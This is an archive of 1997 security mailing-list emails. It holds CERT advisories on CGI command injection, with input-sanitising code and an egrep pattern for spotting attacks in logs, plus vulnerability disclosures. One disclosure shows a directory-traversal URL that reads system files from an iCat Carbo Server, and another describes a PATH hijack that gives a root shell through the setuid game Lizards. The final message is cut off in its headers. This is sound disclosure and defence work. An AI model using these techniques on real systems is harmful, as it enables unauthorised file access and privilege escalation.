X-Received: from coal.cert.org by dfw.dfw.net (4.1/SMI-4.1) id AA10104; Fri, 14
Nov 97 18:14:20 CST
X-Received: (from cert-advisory@localhost) by coal.cert.org (8.6.12/CERT) id
QAA19345 for cert-advisory-queue-40; Fri, 14 Nov 1997 16:45:29 -0500
Message-Id: <[email protected]>
Date: Sat, 15 Nov 1997 14:05:48 -0600
Reply-To: [email protected]
Sender: Bugtraq List <[email protected]>
Comments: Resent-From: Aleph One <[email protected]>
Comments: Originally-From: CERT Bulletin <[email protected]>
From: Aleph One <[email protected]>
Organization: CERT(sm) Coordination Center - +1 412-268-7090
Subject: CERT Vendor-Initiated Bulletin VB-97.13 - GlimpseHTTP.WebGlimpse
To: [email protected]
Status:
X-PMFLAGS: 33554560 0
-----BEGIN PGP SIGNED MESSAGE-----
CERT* Vendor-Initiated Bulletin VB-97.13
November 14, 1997
Topic: Vulnerability in GlimpseHTTP and WebGlimpse CGI scripts
Source: Project FUSE, University of Arizona
Related CERT documents:
ftp://ftp.cert.org/pub/cert_advisories/CA-97.25.CGI_metacharftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters
To aid in the wide distribution of essential security information, the CERT
Coordination Center is forwarding the following information from Project FUSE,
University of Arizona. Project FUSE urges you to act on this information as
soon as possible. Project FUSE contact information is included in the
forwarded text below; please contact them if you have any questions or need
further information.
Please note that there is related information about these vulnerabilities in
AUSCERT Advisory AA-97.28, "Vulnerability in GlimpseHTTP and WebGlimpse
cgi-bin Packages", available from
ftp.auscert.org.au/pub/auscert/advisory/AA-97.28.GlimpseHTTP.WebGlimpse.vuls
=======================FORWARDED TEXT STARTS HERE============================
Problem: Vulnerability in GlimpseHTTP 2.0 and
WebGlimpse versions prior to 1.5
I. Description
A vulnerability exists in the GlimpseHTTP web search package. A related
vulnerability exists in the WebGlimpse web search package prior to version
1.5 (the latest version). These packages are popular collections of tools
that provide easy-to-use interface to Glimpse, an indexing and query
system, to provide a search facility on web sites.
Due to insufficient argument checking by some of GlimpseHTTP and older
WebGlimpse routines, intruders may be able to force it to execute arbitrary
commands with the privileges of the httpd process. Attacks against
GlimpseHTTP using these vulnerabilities have been reported.
Similar attacks have been reported on other scripts, and it is a good idea
now to check all your CGI scripts. For more information see
ftp://info.cert.org/pub/cert_advisories/CA-97.25.CGI_metacharftp://info.cert.org/pub/tech_tips/cgi_metacharacters
To check whether exploitation of this vulnerability has been attempted at
your site, search for unusual accesses to aglimpse in your access logs.
An example of how to do this is:
# egrep 'aglimpse.*IFS' {WWW_HOME}/logs/access_log
Where {WWW_HOME} is the base directory for your web server.
If this command returns anything, further investigation is necessary.
Up-to-date information regarding these vulnerabilities can be obtained from
the authors of GlimpseHTTP and WebGlimpse at
http://glimpse.cs.arizona.edu/security.html
Although the attacks against GlimpseHTTP have focused on version 2.0,
similar attacks may be possible on earlier versions.
II. Impact
Remote users may be able to execute arbitrary commands with the privileges
of the httpd process which answers HTTP requests. This may be used to
compromise the http server and under certain configurations gain privileged
access. Current attacks concentrated on obtaining the /etc/passwd file on
systems that do not provide shadow passwords.
III. Solution
The authors have decided to stop supporting GlimpseHTTP, and instead have
released a new version (1.5) of WebGlimpse, which has most of the features
of GlimpseHTTP and many more.
Users of any version GlimpseHTTP are encouraged to upgrade to the new
WebGlimpse. Users of earlier versions of WebGlimpse are also encouraged to
upgrade, as version 1.5 is more robust and more secure. WebGlimpse can be
found at http://glimpse.cs.arizona.edu/webglimpse/
For sites that cannot immediately install the current version of
WebGlimpse, it is recommended that you disable the version of GlimpseHTTP
or WebGlimpse you are using and use another script to interface to Glimpse.
Questions to the authors can be directed to [email protected]
========================FORWARDED TEXT ENDS HERE=============================
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident Response
and Security Teams (FIRST). See http://www.first.org/team-info/.
We strongly urge you to encrypt any sensitive information you send by email.
The CERT Coordination Center can support a shared DES key and PGP. Contact
the CERT staff for more information.
Location of CERT PGP key
ftp://ftp.cert.org/pub/CERT_PGP.key
CERT Contact Information
- - ------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST
(GMT-5)/EDT(GMT-4), and are on call for
emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
CERT publications, information about FIRST representatives, and other
security-related information are available from
http://www.cert.org/ftp://ftp.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
To be added to our mailing list for CERT advisories and bulletins, send your
email address to
[email protected]
In the subject line, type
SUBSCRIBE your-email-address
* Registered U.S. Patent and Trademark Office.
The CERT Coordination Center is part of the Software Engineering
Institute (SEI). The SEI is sponsored by the U. S. Department of Defense.
This file:
ftp://ftp.cert.org/pub/cert_bulletins/VB-97.13.GlimpseHTTP.WebGlimpse
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBNGzA2HVP+x0t4w7BAQFkxQP/dM5at0WZUagXtSh++qHoLNQgxbV9uITY
HmIKiitRLq4WegFOEwoMeJCTQW3YwsnPuvEw+XY92cUNgmYuDeZKcXE9RXKHZ6df
Ozg2a7iXke0THhYNxozzdj2WKBzfrC9aVL3BpiR7WLD1eIRzL2gmVC2iggcA22U1
Ow4SBS6caUY=
=B4Ri
-----END PGP SIGNATURE-----
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 29967 invoked from network); 16 Nov 1997 07:46:36 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 16 Nov 1997 07:46:36 -0000
Received: by scylla.sovam.com id AA21791
(5.67b8s3p1/IDA-1.5 for [email protected]); Sun, 16 Nov 1997 09:38:19 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA21784
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Sun, 16 Nov 1997 09:36:43 +0300
Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id LAA12034
for <[email protected]>; Sun, 16 Nov 1997 11:36:24 +0500 (ES)
Received: (from slist@localhost)
by plum.cyber.com.au (8.8.6/8.8.6) id RAA22866;
Sun, 16 Nov 1997 17:17:46 +1100 (EST)
Resent-Date: Sun, 16 Nov 1997 17:17:46 +1100 (EST)
Delivered-To: [email protected]
Message-Id: <[email protected]>
Date: Wed, 12 Nov 1997 15:02:11 -0600
Reply-To: [email protected]
Sender: [email protected]
Comments: Resent-From: Aleph One <[email protected]>
Comments: Originally-From: CERT Advisory <[email protected]>
From: Aleph One <[email protected]>
Organization: CERT(sm) Coordination Center - +1 412-268-7090
Old-X-Originally-To: To: [email protected]
Old-X-Originated-From: From: Aleph One <[email protected]>
Resent-Message-Id: <"gk8xEC.A.PiC.nrjb0"@plum>
X-Loop: [email protected]
Errors-To: [email protected]
Precedence: list
Resent-Sender: [email protected]
To: [email protected]
Resent-From: [email protected]
X-Mailing-List: <[email protected]> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail [email protected] with Subject: unsubscribe
Subject: BoS: CERT Advisory CA-97.25 - REVISED- Code Correction
Status:
X-PMFLAGS: 33554560 0
-----BEGIN PGP SIGNED MESSAGE-----
CERT* Advisory CA-97.25.CGI_metachar
Original issue date: Nov. 10, 1997
Last revised: November 12, 1997
Updated the Appendix to fix coding error.
A complete revision history is at the end of this file.
Topic: Sanitizing User-Supplied Data in CGI Scripts
- -----------------------------------------------------------------------------
The CERT Coordination Center has received reports and seen mailing list
discussions of a problem with some CGI scripts, which allow an attacker to
execute arbitrary commands on a WWW server under the effective user-id of the
server process. The problem lies in how the scripts are written, NOT in the
scripting languages themselves.
The CERT/CC team urges you to check all CGI scripts that are available via the
World Wide Web services at your site and ensure that they sanitize
user-supplied data. We have written a tech tip on how to do this (see Section
III).
We will update the tech tip (rather than this advisory) if we receive
additional information.
- -----------------------------------------------------------------------------
I. Description
Some CGI scripts have a problem that allows an attacker to execute
arbitrary commands on a WWW server under the effective user-id of the
server process. The cause of the problem is not the CGI scripting
language (such as Perl and C). Rather, the problem lies in how an
individual writes his or her script. In many cases, the author of the
script has not sufficiently sanitized user-supplied input.
II. Impact
If user-supplied data is not sufficiently sanitized, local and remote
users may be able to execute arbitrary commands on the HTTP server with
the privileges of the httpd daemon. They may then be able to compromise
the HTTP server and under certain configurations gain privileged access.
III. Solution
We strongly encourage you to review all CGI scripts that are available
via WWW services at your site. You should ensure that these scripts
sufficiently sanitize user-supplied data.
We recommend carrying out this review on a regular basis and whenever new
scripts are made available.
For advice about what to look for and how to address the problem,
see our tech tip on meta-characters in CGI scripts, available from
ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters
We have placed a revised version of this tech tip (dated
November 12, 1997) in the appendix of this advisory for your
convenience. Any future updates will be made to the tech tip,
so please check the electronic version for the most current
information.
If you believe that a script does not sufficiently sanitize
user-supplied data then we encourage you to disable the script and
consult the script author for a patch.
If the script author is unable to supply a patched version, sites with
sufficient expertise may wish to patch the script themselves, adapting
the material in our tech tip to meet whatever specification is required
(such as the appropriate RFC).
(NOTE: We cannot offer any further assistance on source code patching
than that given in the tech tip mentioned above.)
.............................................................................
Appendix - Tech Tip on CGI Metacharacters (version 1.2, Nov. 12, 1997)
The tech tip below may be updated in the future. For the most current version,
see ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters
How To Remove Meta-characters From User-Supplied Data In CGI Scripts
1. Definition of the Problem
We have noticed several reports to us and to public mailing lists about CGI
scripts that allow an attacker to execute arbitrary commands on a WWW
server under the effective user-id of the server process.
In many of these cases, the author of the script has not sufficiently
sanitized user-supplied input.
2. Definition of "Sanitize"
Consider an example where a CGI script accepts user-supplied data. In
practice, this data may come from any number of sources of user-supplied
data; but for this example, we will say that the data is taken from an
environment variable $QUERY_STRING. The manner in which data was inserted
into the variable is not important - the important point here is that the
programmer needs to gain control over the contents of the data in
$QUERY_STRING before further processing can occur. The act of gaining this
control is called "sanitizing" the data.
3. A Common But Inadvisable Approach
A script writer who is aware of the need to sanitize data may decide to
remove a number of well-known meta-characters from the script and replace
them with underscores. A common but inadvisable way to do this is by
removing particular characters.
For instance, in Perl:
#!/usr/local/bin/perl
$user_data = $ENV{'QUERY_STRING'}; # Get the data
print "$user_data\n";
$user_data =~ s/[\/ ;\[\]\<\>&\t]/_/g; # Remove bad characters. WRONG!
print "$user_data\n";
exit(0);
In C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int
main(int argc, char *argv[], char **envp)
{
static char bad_chars[] = "/ ;[]<>&\t";
char * user_data; /* our pointer to the environment string */
char * cp; /* cursor into example string */
/* Get the data */
user_data = getenv("QUERY_STRING");
printf("%s\n", user_data);
/* Remove bad characters. WRONG! */
for (cp = user_data; *(cp += strcspn(cp, bad_chars)); /* */)
*cp = '_';
printf("%s\n", user_data);
exit(0);
}
In this method, the programmer determines which characters should NOT be
present in the user-supplied data and removes them. The problem with this
approach is that it requires the programmer to predict all possible inputs.
If the user uses input not predicted by the programmer, then there is the
possibility that the script may be used in a manner not intended by the
programmer.
4. A Recommended Approach
A better approach is to define a list of acceptable characters and replace any
character that is NOT acceptable with an underscore. The list of valid input
values is typically a predictable, well-defined set of manageable size. For
example, consider the tcp_wrappers package written by Wietse Venema. In the
percent_x.c module, Wietse has defined the following:
char *percent_x(...)
{
{...}
static char ok_chars[] = "1234567890!@%-_=+:,./\
abcdefghijklmnopqrstuvwxyz\
ABCDEFGHIJKLMNOPQRSTUVWXYZ";
{...}
for (cp = expansion; *(cp += strspn(cp, ok_chars)); /* */ )
*cp = '_';
{...}
The benefit of this approach is that the programmer is certain that
whatever string is returned, it contains only characters now under his or her
control.
This approach contrasts with the approach we discussed earlier. In the earlier
approach, which we do not recommend, the programmer must ensure that he or she
traps all characters that are unacceptable, leaving no margin for error. In
the recommended approach, the programmer errs on the side of caution and only
needs to ensure that acceptable characters are identified; thus the programmer
can be less concerned about what characters an attacker may try in an attempt
to bypass security checks.
Building on this philosophy, the Perl program we presented above could be
thus sanitized to contain ONLY those characters allowed. For example:
#!/usr/cert/bin/perl
$_ = $user_data = $ENV{'QUERY_STRING'}; # Get the data
print "$user_data\n";
$OK_CHARS='-a-zA-Z0-9_.@'; # A restrictive list, which
# should be modified to match
# an appropriate RFC, for example.
s/[^$OK_CHARS]/_/go;
$user_data = $_;
print "$user_data\n";
exit(0);
Likewise, the same updated example in C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int
main(int argc, char *argv[], char **envp)
{
static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz\
ABCDEFGHIJKLMNOPQRSTUVWXYZ\
1234567890_-.@";
char * user_data; /* our pointer to the environment string */
char * cp; /* cursor into example string */
user_data = getenv("QUERY_STRING");
printf("%s\n", user_data);
for (cp = user_data; *(cp += strspn(cp, ok_chars)); /* */)
*cp = '_';
printf("%s\n", user_data);
exit(0);
}
5. Recommendation
We strongly encourage you to review all CGI scripts available via your web
server to ensure that any user-supplied data is sanitized using the approach
described in Section 4, adapting the example to meet whatever specification
you are using (such as the appropriate RFC).
6. Additional Tips
The following comments appeared in CERT Advisory CA-97.12 "Vulnerability in
webdist.cgi" and AUSCERT Advisory AA-97.14, "SGI IRIX webdist.cgi
Vulnerability."
We strongly encourage all sites should consider taking this opportunity
to examine their entire httpd configuration. In particular, all CGI
programs that are not required should be removed, and all those
remaining should be examined for possible security vulnerabilities.
It is also important to ensure that all child processes of httpd are
running as a non-privileged user. This is often a configurable option.
See the documentation for your httpd distribution for more details.
Numerous resources relating to WWW security are available. The
following pages may provide a useful starting point. They include
links describing general WWW security, secure httpd setup, and secure
CGI programming.
The World Wide Web Security FAQ:
http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html
The following book contains useful information including sections on
secure programming techniques.
_Practical Unix & Internet Security_, Simson Garfinkel and
Gene Spafford, 2nd edition, O'Reilly and Associates, 1996.
Please note that the CERT/CC and AUSCERT do not endorse the URL that
appears above. If you have any problem with the sites, please contact
the site administrator.
Another resource that sites can consider is the CGI.pm module. Details
about this module are available from:
http://www.genome.wi.mit.edu/ftp/pub/software/WWW/cgi_docs.html
This module provides mechanisms for creating forms and other web-based
applications. Be aware, however, that it does not absolve the programmer from
the safe-coding responsibilities discussed above.
Copyright 1997 Carnegie Mellon University. Conditions for use, disclaimers,
and sponsorship information can be found in
http://www.cert.org/legal_stuff.html and ftp://info.cert.org/pub/legal_stuff .
If you do not have FTP or web access, send mail to [email protected] with
"copyright" in the subject line.
CERT is registered in the U.S. Patent and Trademark Office.
This file: ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters
Last revised November 12, 1997
Version 1.2
- -----------------------------------------------------------------------------
The CERT Coordination Center thanks Wietse Venema for some of the material
used in the cgi_metacharacters tech tip.
We thank Mark Mills for his communication with us about the bug in the
appendix and acknowledge Andrew McNaughton and Greg Bacon, who pointed
out the bug on bugtraq.
- -----------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident Response
and Security Teams (see http://www.first.org/team-info/).
CERT/CC Contact Information
- ----------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4)
and are on call for emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
Using encryption
We strongly urge you to encrypt sensitive information sent by email. We can
support a shared DES key or PGP. Contact the CERT/CC for more information.
Location of CERT PGP key
ftp://ftp.cert.org/pub/CERT_PGP.key
Getting security information
CERT publications and other security information are available from
http://www.cert.org/ftp://ftp.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
To be added to our mailing list for advisories and bulletins, send
email to
[email protected]
In the subject line, type
SUBSCRIBE your-email-address
- ---------------------------------------------------------------------------
Copyright 1997 Carnegie Mellon University. Conditions for use, disclaimers,
and sponsorship information can be found in
http://www.cert.org/legal_stuff.html and ftp://ftp.cert.org/pub/legal_stuff .
If you do not have FTP or web access, send mail to [email protected] with
"copyright" in the subject line.
*CERT is registered in the U.S. Patent and Trademark Office.
- ---------------------------------------------------------------------------
This file: ftp://ftp.cert.org/pub/cert_advisories/CA-97.25.CGI_metacharhttp://www.cert.org
click on "CERT Advisories"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Revision history
Nov. 12, 1997 Updated the Appendix to fix coding error.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBNGnWynVP+x0t4w7BAQFgHQQAnwHRMZJGA7SuFNE2Vt6QAR143ChExpAb
KA7xBJhVYzAH7AnLc39SbA3PeDaj2kf7bfhZQHJc8SNsHRIKC6jciVHvvKmHbN5C
45mDEqfSN3OOYvD3kVsVYrG8X9KM9QfNfZZFnxx19l5PGo8y0iVYTl5AxNOadLCP
oQMg76/n8W8=
=TbZo
-----END PGP SIGNATURE-----
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 31988 invoked from network); 16 Nov 1997 10:16:37 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 16 Nov 1997 10:16:37 -0000
Received: by scylla.sovam.com id AA00096
(5.67b8s3p1/IDA-1.5 for [email protected]); Sun, 16 Nov 1997 12:23:36 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA29906
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Sun, 16 Nov 1997 12:20:28 +0300
Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id OAA12942
for <[email protected]>; Sun, 16 Nov 1997 14:20:14 +0500 (ES)
Received: (from slist@localhost)
by plum.cyber.com.au (8.8.6/8.8.6) id UAA28940;
Sun, 16 Nov 1997 20:01:31 +1100 (EST)
Resent-Date: Sun, 16 Nov 1997 20:01:31 +1100 (EST)
Delivered-To: [email protected]
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <[email protected]>
Date: Wed, 12 Nov 1997 16:30:03 +1100
Reply-To: SUID <[email protected]>
Sender: [email protected]
From: SUID <[email protected]>
Old-X-Originally-To: To: [email protected]
Old-X-Originated-From: From: SUID <[email protected]>
Resent-Message-Id: <"XY4aY.A.bUE.IEnb0"@plum>
X-Loop: [email protected]
Errors-To: [email protected]
Precedence: list
Resent-Sender: [email protected]
To: [email protected]
Resent-From: [email protected]
X-Mailing-List: <[email protected]> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail [email protected] with Subject: unsubscribe
Subject: BoS: Vunerability in Lizards game
Status:
X-PMFLAGS: 34078848 0
Greetings.
Recently looking through the source of the suid root game called Lizards I
noticed a vunerablity which is incredibly trivial to allow regular users
at the console gain unauthorized root access.
The exploitable code is found in the main portion of the code, on the
second last line in fact:
---
...
system("clear");
return EXIT_SUCCESS;
}
---
As this program does not seem anywhere through relinquish root
privilidges, it executes "clear" (supposed to be /usr/bin/clear) as root,
assuming everything is cool. Simple changing of the users PATH environment
variable to something like PATH=.:/usr/games/lizardlib, then creating a
symlink (or a sh script) called "clear" that executes a shell of your
liking, will cause that command to be executed as root when the program
exits. Voila, a root shell.
Of course this requires the game to run smoothly. This game comes with
Slackware 3.4 in the y package.
Lame fix: chmod -s /usr/games/lizardlib/lizardshi
Better fix: Change the source code, recompile lizards to reference "clear"
absoloutley.
Regards
[email protected]
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 23275 invoked from network); 16 Nov 1997 01:01:36 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 16 Nov 1997 01:01:36 -0000
Received: by scylla.sovam.com id AA15279
(5.67b8s3p1/IDA-1.5 for [email protected]); Sat, 15 Nov 1997 21:26:20 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA15274
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Sat, 15 Nov 1997 21:25:18 +0300
Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id XAA27396
for <[email protected]>; Sat, 15 Nov 1997 23:24:57 +0500 (ES)
Received: (from slist@localhost)
by plum.cyber.com.au (8.8.6/8.8.6) id FAA29199;
Sun, 16 Nov 1997 05:04:49 +1100 (EST)
Resent-Date: Sun, 16 Nov 1997 05:04:49 +1100 (EST)
Delivered-To: [email protected]
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <Pine.GSO.3.96.971108110857.7506A-100000@atle>
Date: Sat, 8 Nov 1997 11:11:12 +0100
Reply-To: Mikael Johansson <[email protected]>
Sender: [email protected]
From: Mikael Johansson <[email protected]>
Old-X-Originally-To: To: [email protected]
Old-X-Originated-From: From: Mikael Johansson <[email protected]>
Resent-Message-Id: <"O_PWlB.A.QiD.6_Yb0"@plum>
X-Loop: [email protected]
Errors-To: [email protected]
Precedence: list
Resent-Sender: [email protected]
To: [email protected]
Resent-From: [email protected]
X-Mailing-List: <[email protected]> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail [email protected] with Subject: unsubscribe
Subject: BoS: Security bug in iCat Suite version 3.0
Status:
X-PMFLAGS: 34078848 0
iCat Carbo Server is a program used to create interactive shopping
catalogs for the www. It was selected by PC Magazine's editors as the
best Web storefront creation software.
I've found a bug in the iCat Carbo Server Version 3.0.0. The bug let's
everyone view any file at a system that is using Carbo (except for files
with some special characters).
See for yourselves...
http request:
http://host/carbo.dll?icatcommand=file_to_view&catalogname=catalog
http answer:
[iCat Carbo Server (ISAPI, Release) Version 3.0.0 Release Build 244]
Error: (-1007) cannot open file 'C:\web\carbohome\file_to_view.htm'
To view their c:\winnt\win.ini:
http://host/carbo.dll?icatcommand=..\..\winnt\win.ini&catalogname=catalog
As you can imagine this bug is rather dangerous. For example an evil
hacker could steal creditcard information from users that have bought
something at a site using Carbo Server 3.0.0.
Mikael Johansson
[email protected]
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 6493 invoked from network); 15 Nov 1997 05:31:35 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 15 Nov 1997 05:31:35 -0000
Received: by scylla.sovam.com id AA07080
(5.67b8s3p1/IDA-1.5 for [email protected]); Sat, 15 Nov 1997 08:24:56 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA06854
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Sat, 15 Nov 1997 08:20:52 +0300
Received: from coal.cert.org (coal.cert.org [192.88.210.31])
by conjurer.tyumen.ru (8.8.5/8.8.5) with SMTP id KAA22237
for <[email protected]>; Sat, 15 Nov 1997 10:20:24 +0500 (ES)
Received: (from cert-advisory@localhost) by coal.cert.org (8.6.12/CERT) id QAA19477 for cert-advisory-queue-46; Fri, 14 Nov 1997 16:46:37 -0500
Date: Fri, 14 Nov 1997 16:46:37 -0500
Message-Id: <[email protected]>
From: CERT Bulletin <[email protected]>
To: [email protected]Subject: CERT Vendor-Initiated Bulletin VB-97.13 - GlimpseHTTP.WebGlimpse
Reply-To: [email protected]
Organization: CERT(sm) Coordination Center - +1 412-268-7090
Status:
X-PMFLAGS: 33554560 0
-----BEGIN PGP SIGNED MESSAGE-----
CERT* Vendor-Initiated Bulletin VB-97.13
November 14, 1997
Topic: Vulnerability in GlimpseHTTP and WebGlimpse CGI scripts
Source: Project FUSE, University of Arizona
Related CERT documents:
ftp://ftp.cert.org/pub/cert_advisories/CA-97.25.CGI_metacharftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters
To aid in the wide distribution of essential security information, the CERT
Coordination Center is forwarding the following information from Project FUSE,
University of Arizona. Project FUSE urges you to act on this information as
soon as possible. Project FUSE contact information is included in the
forwarded text below; please contact them if you have any questions or need
further information.
Please note that there is related information about these vulnerabilities in
AUSCERT Advisory AA-97.28, "Vulnerability in GlimpseHTTP and WebGlimpse
cgi-bin Packages", available from
ftp.auscert.org.au/pub/auscert/advisory/AA-97.28.GlimpseHTTP.WebGlimpse.vuls
=======================FORWARDED TEXT STARTS HERE============================
Problem: Vulnerability in GlimpseHTTP 2.0 and
WebGlimpse versions prior to 1.5
I. Description
A vulnerability exists in the GlimpseHTTP web search package. A related
vulnerability exists in the WebGlimpse web search package prior to version
1.5 (the latest version). These packages are popular collections of tools
that provide easy-to-use interface to Glimpse, an indexing and query
system, to provide a search facility on web sites.
Due to insufficient argument checking by some of GlimpseHTTP and older
WebGlimpse routines, intruders may be able to force it to execute arbitrary
commands with the privileges of the httpd process. Attacks against
GlimpseHTTP using these vulnerabilities have been reported.
Similar attacks have been reported on other scripts, and it is a good idea
now to check all your CGI scripts. For more information see
ftp://info.cert.org/pub/cert_advisories/CA-97.25.CGI_metacharftp://info.cert.org/pub/tech_tips/cgi_metacharacters
To check whether exploitation of this vulnerability has been attempted at
your site, search for unusual accesses to aglimpse in your access logs.
An example of how to do this is:
# egrep 'aglimpse.*IFS' {WWW_HOME}/logs/access_log
Where {WWW_HOME} is the base directory for your web server.
If this command returns anything, further investigation is necessary.
Up-to-date information regarding these vulnerabilities can be obtained from
the authors of GlimpseHTTP and WebGlimpse at
http://glimpse.cs.arizona.edu/security.html
Although the attacks against GlimpseHTTP have focused on version 2.0,
similar attacks may be possible on earlier versions.
II. Impact
Remote users may be able to execute arbitrary commands with the privileges
of the httpd process which answers HTTP requests. This may be used to
compromise the http server and under certain configurations gain privileged
access. Current attacks concentrated on obtaining the /etc/passwd file on
systems that do not provide shadow passwords.
III. Solution
The authors have decided to stop supporting GlimpseHTTP, and instead have
released a new version (1.5) of WebGlimpse, which has most of the features
of GlimpseHTTP and many more.
Users of any version GlimpseHTTP are encouraged to upgrade to the new
WebGlimpse. Users of earlier versions of WebGlimpse are also encouraged to
upgrade, as version 1.5 is more robust and more secure. WebGlimpse can be
found at http://glimpse.cs.arizona.edu/webglimpse/
For sites that cannot immediately install the current version of
WebGlimpse, it is recommended that you disable the version of GlimpseHTTP
or WebGlimpse you are using and use another script to interface to Glimpse.
Questions to the authors can be directed to [email protected]
========================FORWARDED TEXT ENDS HERE=============================
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident Response
and Security Teams (FIRST). See http://www.first.org/team-info/.
We strongly urge you to encrypt any sensitive information you send by email.
The CERT Coordination Center can support a shared DES key and PGP. Contact
the CERT staff for more information.
Location of CERT PGP key
ftp://ftp.cert.org/pub/CERT_PGP.key
CERT Contact Information
- - ------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST
(GMT-5)/EDT(GMT-4), and are on call for
emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
CERT publications, information about FIRST representatives, and other
security-related information are available from
http://www.cert.org/ftp://ftp.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
To be added to our mailing list for CERT advisories and bulletins, send your
email address to
[email protected]
In the subject line, type
SUBSCRIBE your-email-address
* Registered U.S. Patent and Trademark Office.
The CERT Coordination Center is part of the Software Engineering
Institute (SEI). The SEI is sponsored by the U. S. Department of Defense.
This file:
ftp://ftp.cert.org/pub/cert_bulletins/VB-97.13.GlimpseHTTP.WebGlimpse
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBNGzA2HVP+x0t4w7BAQFkxQP/dM5at0WZUagXtSh++qHoLNQgxbV9uITY
HmIKiitRLq4WegFOEwoMeJCTQW3YwsnPuvEw+XY92cUNgmYuDeZKcXE9RXKHZ6df
Ozg2a7iXke0THhYNxozzdj2WKBzfrC9aVL3BpiR7WLD1eIRzL2gmVC2iggcA22U1
Ow4SBS6caUY=
=B4Ri
-----END PGP SIGNATURE-----
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 27233 invoked from network); 16 Nov 1997 05:31:35 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 16 Nov 1997 05:31:35 -0000
Received: by scylla.sovam.com id AA12080
(5.67b8s3p1/IDA-1.5 for [email protected]); Sun, 16 Nov 1997 06:32:25 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA11987
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Sun, 16 Nov 1997 06:30:36 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id IAA10934
for <[email protected]>; Sun, 16 Nov 1997 08:30:20 +0500 (ES)
Received: from [email protected] (port 14944 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <525-29938>; Sat, 15 Nov 1997 21:21:13 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5670495 for [email protected]; Sat, 15 Nov 1997 21:15:19
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
VAA04852 for <[email protected]>; Sat, 15 Nov 1997 21:03:31 -0500
Received: from [email protected] (port 14944 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <97370-29935>; Sat, 15 Nov 1997
